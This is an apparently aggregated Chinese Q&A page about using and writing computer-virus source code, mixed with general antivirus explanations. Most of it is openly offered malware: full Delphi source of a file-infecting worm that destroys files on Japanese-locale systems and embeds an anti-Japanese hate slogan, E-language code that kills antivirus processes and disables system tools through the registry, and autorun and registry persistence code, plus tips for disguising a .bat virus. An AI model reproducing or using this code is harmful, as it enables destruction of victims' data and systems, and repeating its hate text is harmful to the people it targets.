導航:首頁 > 源碼編譯 > 怎樣控制病毒源碼

怎樣控制病毒源碼

發布時間:2022-08-11 14:20:46

1. 病毒源代碼怎麼用

建立一個新的記事本,把病毒源代碼復制進去,保存。然後重命名,把後綴改成 .bat 就可以了。這時候系統會提示更改後不可用,點確定,這時候就是一個可執行程序了,也就是病毒。點擊就會自動運行。另外,還可以隱藏後綴名,換圖標,以假亂真

2. 計算機病毒種類、防治方法

目前流行的計算機病毒概括成如下四類:
1.操作系統病毒
這種病毒的特點是:當系統引導時就裝入內存,在計算機運行過程中,能夠經常捕獲到CPU的控制權,在得到CPU的控制權時進行病毒傳播,並在特定條件下發作。該類病毒的上述活動是悄悄完成的,很難被發覺,因而有很大的危險性。
2.源碼型病毒
源碼型病毒專門攻擊高級語言如FORTRAN、C、PASCAL等源程序和數據文件的源碼。它們在編譯之前插入到源程序。
3.外殼型病毒
這類病毒攻擊的主要目標是系統的.COM、.EXE等可執行文件。染上這種病毒的可執行文件一旦運行,首先執行這段病毒程序,達到不斷復制的目的。由於它的不斷繁殖,使計算機工作效率大大降低,最終造成死機。
4.定時炸彈型病毒
許多微機上配有供系統時鍾用的擴充板,擴充板上有可充電電池和CMOS存儲器,定時炸彈型病毒可避開DOS的中斷調用,通過低層硬體訪問對CMOS存儲讀寫。因而這類程序利用這一地方作為傳染、觸發、破壞的標志,甚至乾脆將病毒程序的一部分寄生到這個地方,因這個地方有鋰電池為它提供保護,不會因關機或斷電而丟失,所以這類病毒十分危險。
近兩年,計算機病毒已經發展到多形性病毒、欺騙性病毒、輕微破壞型病毒以及病毒生成工具等。這些病毒更隱蔽、破壞性更強。例如,多形性病毒每次感染的形式都不一樣,使查找更加困難,清除更不容易;被欺騙性病毒感染的文件,在列目錄顯示或讀文件時,文件的大小和內容都正常,用戶無法知道已被感染;被輕微破壞型病毒感染的文件,每次備份只破壞很少數據,很難察覺。一旦發現,被破壞的數據已無
防治原理:
反病毒軟體的任務是實時監控和掃描磁碟。部分反病毒軟體通過在系統添加驅動程序的方式,進駐系統,並且隨操作系統啟動。大部分的殺毒軟體還具有防火牆功能。
反病毒軟體的實時監控方式因軟體而異。有的反病毒軟體,是通過在內存里劃分一部分空間,將電腦里流過內存的數據與反病毒軟體自身所帶的病毒庫(包含病毒定義)的特徵碼相比較,以判斷是否為病毒。另一些反病毒軟體則在所劃分到的內存空間裡面,虛擬執行系統或用戶提交的程序,根據其行為或結果作出判斷。
而掃描磁碟的方式,則和上面提到的實時監控的第一種工作方式一樣,只是在這里,反病毒軟體將會將磁碟上所有的文件(或者用戶自定義的掃描范圍內的文件)做一次檢查。

推薦殺軟:2009年世界頂級殺毒軟體排名
toptennews評出了2009年度世界頂級殺毒軟體排名,國外的排名僅供參考,它們不一定能完全適應中國的水土。我們來簡單看一下排名情況:
第一:BitDefender ,來自羅馬尼亞,連續三年第一。
第二:赫赫有名的Kaspersky(卡巴斯基)。
第三:Webroot Antivirus ,今年第一次上榜,反間諜能力比較強。
第四:G DATA AntiVirus,今年第一次上榜,特點為雙引擎殺毒。
第五:ESET NOD32,從去年的第三滑到了第五。
第六:ParetoLogic Anti-Virus PLUS,微軟的產品,第一次上榜。
第七:AVG Anti-Virus ,來自捷克,2005 年獲 Virus bulletin 的 VB100% 獎。
第八:Vipre Antivirus + Antispyware
第九:F-Secure Anti-Virus來自芬蘭,集合四套殺毒引擎,包括Kaspersky 的殺毒內核。
第十:Trend Micro AntiVirus,趨勢科技的產品。

3. 怎樣使用病毒的源代碼

網路上恐慌一時的熊貓燒香病毒居然是用DELPHI編寫的。現在附上源碼,有興趣可以學習一下。
程序代碼
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432; //病毒體的大小
IconOffset = $12EB8; //PE文件主圖標的偏移量

//在我的Delphi5 SP1上面編譯得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六進制字元串可以找到主圖標的偏移量

{
HeaderSize = 38912; //Upx壓縮過病毒體的大小
IconOffset = $92BC; //Upx壓縮過PE文件主圖標的偏移量

//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize = $2E8; //PE文件主圖標的大小--744位元組
IconTail = IconOffset + IconSize; //PE文件主圖標的尾部
ID = $44444444; //感染標記

//垃圾碼,以備寫入
Catchword = 'If a race need to be killed out, it must be Yamato. ' +
'If a country need to be destroyed, it must be Japan! ' +
'*** W32.Japussy.Worm.A ***';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external 'Kernel32.dll'; //函數聲明
var
TmpFile: string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean = False; //日文操作系統標記
{ 判斷是否為Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
Result := True;
end;
{ 在流之間復制 }
procere CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 將宿主文件從已感染的PE文件中分離出來,以備使用 }
procere ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
dStream := TFileStream.Create(FileName, fmCreate);
try
sStream.Seek(HeaderSize, 0); //跳過頭部的病毒部分
dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
finally
dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{ 填充STARTUPINFO結構 }
procere FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 發帶毒郵件 }
procere SendMail;
begin
//哪位仁兄願意完成之?
end;
{ 感染PE文件 }
procere InfectOneFile(FileName: string);
var
HdrStream, SrcStream: TFileStream;
IcoStream, DstStream: TMemoryStream;
iID: LongInt;
aIcon: TIcon;
Infected, IsPE: Boolean;
i: Integer;
Buf: array[0..1] of Char;
begin
try //出錯則文件正在被使用,退出
if CompareText(FileName, 'JAPUSSY.EXE') = 0 then //是自己則不感染
Exit;
Infected := False;
IsPE := False;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
try
for i := 0 to $108 do //檢查PE文件頭
begin
SrcStream.Seek(i, soFromBeginning);
SrcStream.Read(Buf, 2);
if (Buf[0] = #80) and (Buf[1] = #69) then //PE標記
begin
IsPE := True; //是PE文件
Break;
end;
end;
SrcStream.Seek(-4, soFromEnd); //檢查感染標記
SrcStream.Read(iID, 4);
if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染
Infected := True;
finally
SrcStream.Free;
end;
if Infected or (not IsPE) then //如果感染過了或不是PE文件則退出
Exit;
IcoStream := TMemoryStream.Create;
DstStream := TMemoryStream.Create;
try
aIcon := TIcon.Create;
try
//得到被感染文件的主圖標(744位元組),存入流
aIcon.ReleaseHandle;
aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream := TFileStream.Create(FileName, fmOpenRead);
//頭文件
HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
try
//寫入病毒體主圖標之前的數據
CopyStream(HdrStream, 0, DstStream, 0, IconOffset);
//寫入目前程序的主圖標
CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize);
//寫入病毒體主圖標到病毒體尾部之間的數據
CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail);
//寫入宿主程序
CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size);
//寫入已感染的標記
DstStream.Seek(0, 2);
iID := $44444444;
DstStream.Write(iID, 4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); //替換宿主文件
DstStream.Free;
end;
except;
end;
end;

{ 將目標文件寫入垃圾碼後刪除 }
procere SmashFile(FileName: string);
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0); //去掉只讀屬性
FileHandle := FileOpen(FileName, fmOpenWrite); //打開文件
try
Size := GetFileSize(FileHandle, nil); //文件大小
i := 0;
Randomize;
Max := Random(15); //寫入垃圾碼的隨機次數
if Max < 5 then
Max := 5;
Mass := Size div Max; //每個間隔塊的大小
Len := Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0); //定位
//寫入垃圾碼,將文件徹底破壞掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); //關閉文件
end;
DeleteFile(PChar(FileName)); //刪除之
except
end;
end;
{ 獲得可寫的驅動器列表 }
function GetDrives: string;
var
DiskType: Word;
D: Char;
Str: string;
i: Integer;
begin
for i := 0 to 25 do //遍歷26個字母
begin
D := Chr(i + 65);
Str := D + ':';
DiskType := GetDriveType(PChar(Str));
//得到本地磁碟和網路盤
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result := Result + D;
end;
end;
{ 遍歷目錄,感染和摧毀文件 }
procere LoopFiles(Path, Mask: string);
var
i, Count: Integer;
Fn, Ext: string;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 0 //不是目錄
else if (SearchRec.Attr = 16) and (SearchRec.Name <> '.') and
(SearchRec.Name <> '..') then
Result := 1 //不是根目錄
else Result := 2; //是根目錄
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then
begin
repeat
PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //調整消息隊列,避免引起懷疑
if IsValidDir(SearchRec) = 0 then
begin
Fn := Path + SearchRec.Name;
Ext := UpperCase(ExtractFileExt(Fn));
if (Ext = '.EXE') or (Ext = '.SCR') then
begin
InfectOneFile(Fn); //感染可執行文件
end
else if (Ext = '.HTM') or (Ext = '.HTML') or (Ext = '.ASP') then
begin
//感染HTML和ASP文件,將Base64編碼後的病毒寫入
//感染瀏覽此網頁的所有用戶
//哪位大兄弟願意完成之?
end
else if Ext = '.WAB' then //Outlook地址簿文件
begin
//獲取Outlook郵件地址
end
else if Ext = '.ADC' then //Foxmail地址自動完成文件
begin
//獲取Foxmail郵件地址
end
else if Ext = 'IND' then //Foxmail地址簿文件
begin
//獲取Foxmail郵件地址
end
else
begin
if IsJap then //是倭文操作系統
begin
if (Ext = '.DOC') or (Ext = '.XLS') or (Ext = '.MDB') or
(Ext = '.MP3') or (Ext = '.RM') or (Ext = '.RA') or
(Ext = '.WMA') or (Ext = '.ZIP') or (Ext = '.RAR') or
(Ext = '.MPEG') or (Ext = '.ASF') or (Ext = '.JPG') or
(Ext = '.JPEG') or (Ext = '.GIF') or (Ext = '.SWF') or
(Ext = '.PDF') or (Ext = '.CHM') or (Ext = '.AVI') then
SmashFile(Fn); //摧毀文件
end;
end;
end;
//感染或刪除一個文件後睡眠200毫秒,避免CPU佔用率過高引起懷疑
Sleep(200);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
SubDir := TStringList.Create;
if (FindFirst(Path + '*.*', faDirectory, SearchRec) = 0) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0);
end;
FindClose(SearchRec);
Count := SubDir.Count - 1;
for i := 0 to Count do
LoopFiles(Path + SubDir.Strings[i] + '', Mask);
FreeAndNil(SubDir);
end;
{ 遍歷磁碟上所有的文件 }
procere InfectFiles;

var
DriverList: string;
i, Len: Integer;
begin
if GetACP = 932 then //日文操作系統
IsJap := True; //去死吧!
DriverList := GetDrives; //得到可寫的磁碟列表
Len := Length(DriverList);
while True do //死循環
begin
for i := Len downto 1 do //遍歷每個磁碟驅動器
LoopFiles(DriverList[i] + ':', '*.*'); //感染之
SendMail; //發帶毒郵件
Sleep(1000 * 60 * 5); //睡眠5分鍾
end;
end;
{ 主程序開始 }
begin
if IsWin9x then //是Win9x
RegisterServiceProcess(GetCurrentProcessID, 1) //注冊為服務進程
else //WinNT
begin
//遠程線程映射到Explorer進程
//哪位兄台願意完成之?
end;
//如果是原始病毒體自己
if CompareText(ExtractFileName(ParamStr(0)), 'Japussy.exe') = 0 then
InfectFiles //感染和發郵件
else //已寄生於宿主程序上了,開始工作
begin
TmpFile := ParamStr(0); //創建臨時文件
Delete(TmpFile, Length(TmpFile) - 4, 4);
TmpFile := TmpFile + #32 + '.exe'; //真正的宿主文件,多一個空格
ExtractFile(TmpFile); //分離之
FillStartupInfo(Si, SW_SHOWDEFAULT);
CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True,
0, nil, '.', Si, Pi); //創建新進程運行之
InfectFiles; //感染和發郵件
end;
end.

4. 易語言怎麼做病毒軟體源碼 最好能讓他死機的源碼

.版本 2

.局部變數 變數, 整數型

置現行時間 (到時間 (「2056年1月1日」))
運行 (「taskkill /f /im kavsvc.exe」, 假, 1)
運行 (「taskkill /f /im KVXP.kxp」, 假, 1)
運行 (「taskkill /f /im Rav.exe」, 假, 1)
運行 (「taskkill /f /im Ravmon.exe」, 假, 1)
運行 (「taskkill /f /im Mcshield.exe」, 假, 1)
運行 (「taskkill /f /im VsTskMgr.exe」, 假, 1)
' 繞過360監控
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\ExecAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\MonAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\SiteAccess」, 0)
寫注冊項 (4, 「SOFTWARE\360Safe\safemon\UDiskAccess」, 0)
運行 (「taskkill /f /im 360tray.exe」, 假, 1) ' 結束360進程
' 修改關聯
寫注冊項 (1, 「.txt\」, 「jpegfile」)
寫注冊項 (1, 「.inf\」, 「jpegfile」)

寫注冊項 (4, 「SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue」, 0) ' 隱藏文件和文件夾
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr」, 0) ' 禁用任務管理器
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoControlPanel」, 1) ' 禁用控制面板
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\System\Disableregistrytools」, 1) ' 禁用注冊表
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun」, 1) ' 隱藏開始中的運行 禁止WIN2000/XP通過任務管理器創建新任務

寫注冊項 (3, 「SoftWare \Microsoft \Windows \CurrentVersion \Policies\WinOldApp\Disabled」, 1)
' 隱藏「MS-DOS方式」下的磁碟驅動器。不管是在「我的電腦」里,或「MS-DOS」方式下都看不見了
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDrives」, 4294967295) ' 隱藏所有驅動器
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewOnDrive」, 4294967295) ' 禁止所有驅動器
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions」, 1) ' 隱藏文件夾選項
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop」, 1) ' 將桌面對象隱藏
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoClose」, 1) ' 隱藏開始中的關機
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFind」, 1) ' 隱藏開始中的搜索
' 寫注冊項 (3, 「Software\Policies\Microsoft\Windows\System\DisableCMD」, 1)'1 禁用CMD和.BAT文件 2 禁CMD不禁.BAT 0啟用兩項
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Control Panel\HomePage」, 1) ' 隱藏主頁選項組
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFileMenu」, 1) ' 隱藏IE文件菜單
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoFavorites」, 1) ' 隱藏收藏夾菜單
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoPrinting」, 1) ' 禁用IE列印功能
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserOptions」, 1) ' 隱藏Internet選項
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoViewSource」, 1) ' 禁止IE查看源文件
寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Interner Settings\Zones\3\1803」, 3) ' 禁用IE下載功能
寫注冊項 (3, 「Software\Policies\Microsoft\Internet Explorer\Restrictions\NoBrowserContextMenu」, 1) ' 禁止右鍵關聯菜單

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRealMode」, 1) ' 禁止「重新啟動計算機切換到MS-DOS方式」

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff」, 1) ' 禁止顯示「注銷」

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsMenu」, 1) ' 禁止文檔菜單

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoLogOff」, 1) ' 去掉「開始」選單中的「登錄」項

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoViewContextMenu」, 1) ' 禁止使用滑鼠右鍵

寫注冊項 (3, 「Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoSetFolders」, 1) ' 禁止修改控制面版

5. 什麼是計算機病毒,木馬.如何防範

計算機病毒是借用生物病毒的概念。生物病毒可傳播、傳染,使生物受到嚴重的損害,甚至導致生物死亡。計算機病毒也如此地危害著計算機系統。目前,計算機病毒已成為社會的新「公害」。計算機病毒的出現及迅速蔓延,給計算機世界帶來了極大的危害,嚴重地干擾了科技、金融、商業、軍事等各部門的信息安全。

計算機病毒是指可以製造故障的一段計算機程序或一組計算機指令,它被計算機軟體製造者有意無意地放進一個標准化的計算機程序或計算機操作系統中。爾後,該病毒會依照指令不斷地進行自我復制,也就是進行繁殖和擴散傳播。有些病毒能控制計算機的磁碟系統,再去感染其它系統或程序,並通過磁碟交換使用或計算機聯網通信傳染給其它系統或程序。病毒依照其程序指令,可以干擾計算機的正常工作,甚至毀壞數據,使磁碟、磁碟文件不能使用或者產生一些其它形式的嚴重錯誤。

我國計算機病毒的來源主要有兩個:一個是來自國外的一些應用軟體或游戲盤等,如小球病毒、「DIR-2」病毒等,國外早有報道。另一個來源是國內,某些人改寫國外的計算機病毒或自己製造病毒。如「廣州一號」病毒為修改國外「大麻病毒」形成的變種,Bloody病毒則為國產病毒。病毒的蔓延很快,天天在產生。一台電腦如果染上了病毒,可能會造成不可估量的破壞性後果,有可能使多年的心血毀於一旦,或者使至關重要的數據無法修復。

一般說來,電腦有病毒時,常常造成一些異常現象,例如,數據無故丟失;內存量異常減小;速度變慢;引導不正常;文件長度增加或顯示一些雜亂無章的內容等。有經驗的用戶可以利用技術分析法,來判定計算機病毒的發生。

目前,對付計算機病毒的主要方法有兩種:一種是利用工具軟體消毒;另一種是利用微機防病毒卡防毒。如國外的CPAV軟體、SCAV系列軟體,以及我國公安部不斷推出的Kill軟體等,一些軟硬體結合的防病毒產品,都給計算機用戶提供很大的幫助。可以相信,隨著時間的推移,計算機反病毒技術必將不斷地發展、不斷地完善。
==================================================
計算機病毒
computer virus

一種依附在各種計算機程序中的一段具有破壞性、能自我繁衍的計算機程序。它通過軟盤、終端或其他方式進入計算機系統或計算機網路,引起整個系統或網路紊亂,甚至造成癱瘓。
1983 年 11月,在一次國際計算機安全學術會議上,美國學者F.科恩第一次明確提出計算機病毒的概念,並進行了演示。1984年他又發表了有關計算機病毒理論和實踐的文章,但當時並未引起學術界的重視。1987年發生了幾次計算機病毒事件,特別是1988年11月美國國防部的軍用計算機網路遭受莫里斯病毒襲擊,病毒擴散速度之快、范圍之廣、損失之大,震驚了信息科學界人士,引起人們的廣泛注意。1989年初,中國首次發現計算機病毒。由於多方面原因,病毒在中國的蔓延也比較廣泛。從全世界情況來看,1988 、1989 年是計算機病毒大量產生和繁殖的時期。從那時以後,新計算機病毒出現的數目大大下降,但計算機病毒仍不時肆虐於世界各地。編制病毒的技術在不斷提高,1992年出現了所謂的秘密型病毒和多型病毒,病毒檢測程序都無法發現它們。特別是多型病毒不斷變換特徵,可能會成為今後的嚴重問題。
世界上大約有1350種IBM 個人計算機病毒 ,200 多種Amiga病毒,35種Macintosh病毒,此外還有一些 Unix和大型主機病毒。德國的一位專家估計,大約有300 個基本病毒系列。
分類 計算機病毒的分類方法很多,按其攻擊方式可以分為:①操作系統病毒。運行時用病毒自己的邏輯模塊取代部分操作系統的合法程序模塊,它有很強的破壞力,甚至導致整個系統癱瘓。出現這種類型的計算機病毒主要是針對操作系統自舉區引導程序的,如大麻病毒、小球病毒和巴基斯坦病毒等。②應用程序型病毒。其中又分源碼型和目標碼型。源碼病毒在高級語言編寫的程序被編譯之前插入到源程序之中,隨後與合法程序一起被編譯,這種病毒很容易傳染。目標碼病毒對已經可執行的目標程序進行攻擊,一般也同時侵襲操作系統。③外殼型病毒。不改變所依附的程序,只是在原程序開始和結束的地方加上病毒程序。這類病毒易於編寫,也較為常見,以色列病毒(也稱之為黑色星期五病毒)即屬於此類病毒。④入侵型病毒。在所依附的程序中插入病毒程序,可為局部代替,也可用一條指令轉到病毒程序,在病毒程序結束後再轉入所依附的程序。此類病毒難編寫,刪除也比較困難。
在文獻上所見到的蠕蟲程序、特洛伊木馬、細菌、病毒等,也統稱之為計算機病毒。
組成 計算機病毒一般由3個基本部分組成:主控程序,負責病毒的組裝和初始化工作;傳染程序,將該病毒程序傳染到別的可執行程序上去;破壞程序,實現病毒程序編制者的破壞意圖。當計算機執行病毒所依附的程序時,病毒程序就獲取了對計算機的控制權,開始執行主控程序,然後根據條件是否滿足調用傳染程序和破壞程序。一般說來,傳染條件容易滿足,因此病毒的傳染比破壞來得容易。病毒破壞條件未被滿足時,病毒處於潛伏狀態。
特點 ①程序量小。計算機病毒的程序代碼量通常是很小的,便於隱蔽在可執行程序和數據文件中,從而襲擊其他合法程序。②依附性。病毒在計算機里,只有依附在某一種具有用戶使用功能的可執行程序上,才有可能被計算機執行。當計算機中的程序依附上病毒程序時,就說這個程序被感染了。③傳染性。一旦一個程序染上了計算機病毒,當此程序運行時,該病毒就能夠傳染給訪問計算機系統的其他程序和文件。於是病毒很快就傳染給整個計算機系統,還可通過網路傳染給其他計算機系統,其傳播速度異常驚人。傳染性是計算機病毒的最主要特點。④破壞性。輕者影響系統的工作效率,佔用存儲空間、中央處理器運行時間等系統資源;重者可能毀掉系統的部分數據,也可能破壞全部數據並使其無法恢復,還可能對系統級數據進行篡改,使系統的輸出結果面目全非,甚至導致系統癱瘓。⑤潛伏性。由於病毒程序往往是先潛伏下來,等到特定的條件或時間才觸發,使得病毒程序的破壞力大為增強。在受害用戶意識到病毒的存在之前,病毒程序有充分的時間進行傳播。計算機病毒的潛伏性與傳染性相輔相成,潛伏性越好,病毒傳染范圍越大。⑥持久性。即使在病毒程序被發現以後,數據和程序以至操作系統的恢復都是非常困難的。在許多情況下,特別是在網路操作情況下,因病毒程序由一個受感染的拷貝通過網路系統反復地傳播,所以病毒程序的清除非常復雜。
防治 計算機病毒的防治必須採取綜合措施。①加強管理。實行嚴格的計算機管理制度,對有關人員,特別是系統管理人員進行職責教育,訂出有效的應用和操作規范;對外來軟體和磁介質(如軟碟片、磁帶等)進行防病毒檢查,嚴禁使用來歷不明的軟體;嚴禁在部門計算機上玩計算機游戲,因為很多游戲盤帶有病毒;購買軟硬體產品時,務必考慮安全因素,考查廠商的安全背景;保護好隨機的原始資料和軟體版本,建立安全的備份制度和介質分組管理制度;主管部門應對所屬單位的計算機進行定期、經常性的病毒跡象偵察;發現病毒疫情,做好症狀記錄並立即報告主管部門。②從技術上防治。計算機系統配備病毒檢測程序,及時發現病毒 ;嚴格保護好硬碟,對重要的程序和數據文件,設置禁防寫,用保護裝置防止非法裝載硬碟;採取加密手段防止病毒入侵;研製計算機病毒疫苗,增強計算機系統自身對病毒的抵抗力;採取病毒入侵應急措施,減少病毒造成的損失;研製安全的操作系統是防治計算機病毒的根本性辦法。③法律約束。應盡快制定處罰計算機病毒犯罪的法規,對製造、施放和出售病毒軟體者依法進行懲處。
計算機病毒對抗 計算機病毒在軍事上的應用成為一種新型的電子戰。它與傳統的電子對抗的主要差別在於:電子對抗的目標是敵方電子系統的接收設備,而計算機病毒對抗的目標是敵方電子系統的計算機處理設備。其作戰步驟是 :通過無線電發射,把計算機病毒射入敵方電子系統的最薄弱環節(無保護的鏈路)之中;計算機病毒通過感染傳播到下一個節點(有保護的鏈路)之中;計算機病毒最終到達預定目標——敵方指揮中心的計算機,由特定的事件和時間激發,對敵方電子系統造成災難性的破壞。1991年海灣戰爭後,美國國防部大量收集計算機病毒,網羅計算機病毒研究人材 ,並撥專款研究對抗計算機病毒。許多專家認為,實現計算機病毒對抗的可能性非常大。

6. 關於計算機病毒源碼

即使是小病毒也不是太好編的

比如用C語言做的小病毒……
功能:
1.在所有磁碟的根目錄生成svchost.com和autorun.inf文件
2.生成病毒體:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒體c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注冊表做到啟動時在

explorer.exe前啟動
4.修改注冊表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
設置自啟動項(此操作不使用windowsAPI,防止用戶對病毒體的發現,並實現並行執行)
5.生成的autorun.inf改變磁碟的打開方式,使其在windows2000以上的系統無論選擇「打開」、「雙擊」、「資源管理器」等方式都無法打開分驅,而是以運行病毒的方式取而代之。
6.連鎖能力,將病毒體相連,實現相連復制更新
7.使用進程不斷調用進程,使得在任務管理里無法結束病毒進程
8.不斷搜索磁碟,只要發現未感染病毒的一律感染,病毒刪除後1秒內再建
9.生成垃圾文件(DESTORY_感染_任意數字)5個於C盤下
10.附帶刪除文件函數(為防止危害,本函數默認不執行)

本病毒到目前為止任何殺毒軟體都無法將其查殺(07年的)
本病毒單機默認使用對機器無害(破壞代碼已屏蔽)
提供病毒卸載程序(保存為X.BAT,雙擊運行即可卸載):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
c:\windows\system\explorer.exe c:\windows\explorer.exe
c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除後仍殘留有病毒,請再次運行本程序
pause

--------------------------------------------------------------------
核心代碼:(全部代碼請從附件中下載,請用DEV-CPP運行其中的工程文件,編譯後請將結果文件svchost.exe更名為svchost.com,否則本病毒無法發揮作用,請安心運行實驗,惡意代碼已屏蔽)

/*
SK-CHINA
SVCHOST virus WRITE BY S.K
Compiler:
DEV-CPP 4.9.9.2
*/

/* SVCHOST.C */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include<stdio.h> /*標准輸入輸出*/
#include<string.h> /*字元串操作*/
#include<stdlib.h> /*其它函數*/
#include<process.h> /*進程式控制制*/
#include<dir.h> /*目錄函數*/

#define SVCHOST_NUM 6 /*關鍵位置病毒復制數量*/
#define RUBBISH_NUM 5 /*垃圾文件數量*/
#define REMOVE_NUM 5 /*刪除文件數*/
/*====================================================================*/
/*
文件AUTORUN.INF內容:
1.自動運行SVCHOST.com
2.覆蓋默認打開命令,使用病毒體作為新的打開方式
3.覆蓋默認資源管理器命令,使病毒體作為新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\nshell\\open=打開(&O)

\nshell\\open\\Command=\"SVCHOST.com /s\"\nshell\\explore=資源管理器(&X)

\nshell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
添加註冊表項:
1.自動運行生成病毒體C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
函數:復制文件
復制源:infile
目的地:outfile
成功返回0,失敗返回1
*/
